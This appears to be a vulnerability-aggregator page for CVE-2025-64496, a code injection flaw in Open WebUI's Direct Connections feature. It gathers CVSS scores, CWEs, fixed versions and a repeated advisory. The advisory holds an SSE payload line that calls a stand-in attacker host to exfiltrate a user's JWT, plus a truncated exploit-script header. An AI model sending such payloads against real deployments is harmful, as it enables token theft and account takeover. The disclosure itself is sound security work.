CVE-2025-64496
Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.3
Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.
- Record
CVE-2025-64496- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-95, CWE-829, CWE-830, CWE-501
- Updated
- 2026-11-02
EUVDEUVD-2025-38253
7.3
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.
- Record
EUVD-2025-38253- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-cm35-v4vp-5xvx
7.3
Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
Summary
Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.
Details
ROOT CAUSE ANALYSIS:
Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit.
VULNERABLE COMPONENT: Frontend SSE Event Handler
The frontend JavaScript code processes SSE events from external servers and specifically
handles an execute event type that triggers arbitrary JavaScript execution:
// Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); }
VULNERABILITY DETAILS:
- No validation of external server trustworthiness
- No allowlist of trusted model providers
- No event type whitelisting or filtering
- Direct execution of code from
executeevents usingnew Function() - No sandboxing or Content Security Policy enforcement
- Full browser context access (localStorage, cookies, DOM)
ATTACK VECTOR:
-
Attacker deploys malicious OpenAI-compatible API server
-
Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"
-
Victim enables Direct Connections (Admin Settings → Connections) <img width="3466" height="2232" alt="CleanShot 2025-10-10 at 10 41 57@2x" src="https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002" />
-
Victim adds attacker's URL as external connection
-
Victim sends ANY message to the malicious model
-
Malicious server responds with SSE stream including:
data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}
-
Frontend executes the malicious code via
new Function() -
JWT token exfiltrated to attacker's server
-
Token is valid permanently (expires_at: null)
EXPLOITATION EVIDENCE:
Tested on Open WebUI v0.6.33 (2025-10-08):
- Token successfully captured in < ~5 seconds
- Admin token obtained with full privileges
- Token format: JWT stored in localStorage
- Token validation confirmed via
/api/v1/users/user/info](http://localhost:3000/api/v1/auths/
CWE CLASSIFICATIONS:
Primary:
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
Secondary:
- CWE-830: Inclusion of Web Functionality from an Untrusted Source
- CWE-501: Trust Boundary Violation
- CWE-522: Insufficiently Protected Credentials (token in localStorage)
CHAINED IMPACT:
When admin token is stolen, attacker can exploit Functions API to achieve RCE on backend server (see separate report for Functions/Tools vulnerability).
PoC
PROOF OF CONCEPT - COMPLETE REPRODUCTION
PREREQUISITES:
- Open WebUI v0.6.33 running (tested version)
- Node.js v18+ for malicious server
- Python 3.8+ for token listener
ENVIRONMENT SETUP:
For Docker deployment:
Clone the repository Open WebUI v0.6.33 and run docker compose up
EXPLOITATION STEPS:
Step 1: Create Malicious Model Server (malicious-server.js)
#!/usr/bin/env python3
"""
Open WebUI - Automated Token Capture to RCE
============================================
ALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE
This script demonstrates how quickly an attacker can go from
token theft to full server compromise.
Usage:
python3 auto_exploit.py # Auto RCE…
- Record
GHSA-cm35-v4vp-5xvx- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-95, CWE-501, CWE-829, CWE-830
- Updated
- 2026-11-02
NVD
7.3
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.
- Record
CVE-2025-64496- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - CVSS 3.1
- 8.0 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-95, CWE-501, CWE-829, CWE-830
- Updated
- 2026-11-02
OSV
7.3
Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.
- Record
CVE-2025-64496- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-501, CWE-829, CWE-830, CWE-95
- Updated
- 2026-11-02
OSVGHSA-cm35-v4vp-5xvx
7.3
Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
Summary
Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.
Details
ROOT CAUSE ANALYSIS:
Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit.
VULNERABLE COMPONENT: Frontend SSE Event Handler
The frontend JavaScript code processes SSE events from external servers and specifically
handles an execute event type that triggers arbitrary JavaScript execution:
// Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); }
VULNERABILITY DETAILS:
- No validation of external server trustworthiness
- No allowlist of trusted model providers
- No event type whitelisting or filtering
- Direct execution of code from
executeevents usingnew Function() - No sandboxing or Content Security Policy enforcement
- Full browser context access (localStorage, cookies, DOM)
ATTACK VECTOR:
-
Attacker deploys malicious OpenAI-compatible API server
-
Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"
-
Victim enables Direct Connections (Admin Settings → Connections) <img width="3466" height="2232" alt="CleanShot 2025-10-10 at 10 41 57@2x" src="https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002" />
-
Victim adds attacker's URL as external connection
-
Victim sends ANY message to the malicious model
-
Malicious server responds with SSE stream including:
data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}
-
Frontend executes the malicious code via
new Function() -
JWT token exfiltrated to attacker's server
-
Token is valid permanently (expires_at: null)
EXPLOITATION EVIDENCE:
Tested on Open WebUI v0.6.33 (2025-10-08):
- Token successfully captured in < ~5 seconds
- Admin token obtained with full privileges
- Token format: JWT stored in localStorage
- Token validation confirmed via
/api/v1/users/user/info](http://localhost:3000/api/v1/auths/
CWE CLASSIFICATIONS:
Primary:
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
Secondary:
- CWE-830: Inclusion of Web Functionality from an Untrusted Source
- CWE-501: Trust Boundary Violation
- CWE-522: Insufficiently Protected Credentials (token in localStorage)
CHAINED IMPACT:
When admin token is stolen, attacker can exploit Functions API to achieve RCE on backend server (see separate report for Functions/Tools vulnerability).
PoC
PROOF OF CONCEPT - COMPLETE REPRODUCTION
PREREQUISITES:
- Open WebUI v0.6.33 running (tested version)
- Node.js v18+ for malicious server
- Python 3.8+ for token listener
ENVIRONMENT SETUP:
For Docker deployment:
Clone the repository Open WebUI v0.6.33 and run docker compose up
EXPLOITATION STEPS:
Step 1: Create Malicious Model Server (malicious-server.js)
#!/usr/bin/env python3
"""
Open WebUI - Automated Token Capture to RCE
============================================
ALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE
This script demonstrates how quickly an attacker can go from
token theft to full server compromise.
Usage:
python3 auto_exploit.py # Auto RCE…
- Record
GHSA-cm35-v4vp-5xvx- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-501, CWE-829, CWE-830, CWE-95
- Updated
- 2026-11-02
OSVPYSEC-2026-1729
7.3
Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
Summary
Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.
Details
ROOT CAUSE ANALYSIS:
Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit.
VULNERABLE COMPONENT: Frontend SSE Event Handler
The frontend JavaScript code processes SSE events from external servers and specifically
handles an execute event type that triggers arbitrary JavaScript execution:
// Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); }
VULNERABILITY DETAILS:
- No validation of external server trustworthiness
- No allowlist of trusted model providers
- No event type whitelisting or filtering
- Direct execution of code from
executeevents usingnew Function() - No sandboxing or Content Security Policy enforcement
- Full browser context access (localStorage, cookies, DOM)
ATTACK VECTOR:
-
Attacker deploys malicious OpenAI-compatible API server
-
Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"
-
Victim enables Direct Connections (Admin Settings → Connections) <img width="3466" height="2232" alt="CleanShot 2025-10-10 at 10 41 57@2x" src="https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002" />
-
Victim adds attacker's URL as external connection
-
Victim sends ANY message to the malicious model
-
Malicious server responds with SSE stream including:
data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}
-
Frontend executes the malicious code via
new Function() -
JWT token exfiltrated to attacker's server
-
Token is valid permanently (expires_at: null)
EXPLOITATION EVIDENCE:
Tested on Open WebUI v0.6.33 (2025-10-08):
- Token successfully captured in < ~5 seconds
- Admin token obtained with full privileges
- Token format: JWT stored in localStorage
- Token validation confirmed via
/api/v1/users/user/info](http://localhost:3000/api/v1/auths/
CWE CLASSIFICATIONS:
Primary:
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
Secondary:
- CWE-830: Inclusion of Web Functionality from an Untrusted Source
- CWE-501: Trust Boundary Violation
- CWE-522: Insufficiently Protected Credentials (token in localStorage)
CHAINED IMPACT:
When admin token is stolen, attacker can exploit Functions API to achieve RCE on backend server (see separate report for Functions/Tools vulnerability).
PoC
PROOF OF CONCEPT - COMPLETE REPRODUCTION
PREREQUISITES:
- Open WebUI v0.6.33 running (tested version)
- Node.js v18+ for malicious server
- Python 3.8+ for token listener
ENVIRONMENT SETUP:
For Docker deployment:
Clone the repository Open WebUI v0.6.33 and run docker compose up
EXPLOITATION STEPS:
Step 1: Create Malicious Model Server (malicious-server.js)
#!/usr/bin/env python3
"""
Open WebUI - Automated Token Capture to RCE
============================================
ALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE
This script demonstrates how quickly an attacker can go from
token theft to full server compromise.
Usage:
python3 auto_exploit.py # Auto RCE…
- Record
PYSEC-2026-1729- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuinpm |
through 0.6.34 | 0.6.35 |
open-webuiPyPI |
through 0.6.34 | 0.6.35 |
open-webuinpm |
before 0.6.35 | 0.6.35 |
open-webuiPyPI |
before 0.6.35, plus listed versions 0.1.1240.1.1250.2.00.2.10.2.2 Show 45 moreShow less0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.160.3.170.3.17.dev20.3.17.dev30.3.17.dev40.3.17.dev50.3.180.3.190.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.260.3.270.3.27.dev10.3.27.dev20.3.27.dev30.3.280.3.290.3.30.3.300.3.30.dev10.3.30.dev20.3.310.3.31.dev10.3.320.3.330.3.33.dev10.3.340.3.350.3.40.3.5 |
0.6.35 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-64496 is a high vulnerability (CVSS 7.3) in Openwebui Open Webui, published November 7, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 7.23%, the 94th percentile. Fixed in open-webui 0.6.35.
References
github.com/open-webui/open-webui/security/advisories/GHSA-cm35-v4vp-5xvx
github.com/open-webui/open-webui/commit/8af6a4cf21b756a66cd58378a01c60f74c39b7ca
nvd.nist.gov/vuln/detail/CVE-2025-64496
github.com/advisories/GHSA-cm35-v4vp-5xvx
github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64496.json
github.com/open-webui/open-webui
pypi.org/project/open-webui
Left out here: 76 versions and the rest of 3 source descriptions. The JSON record has them.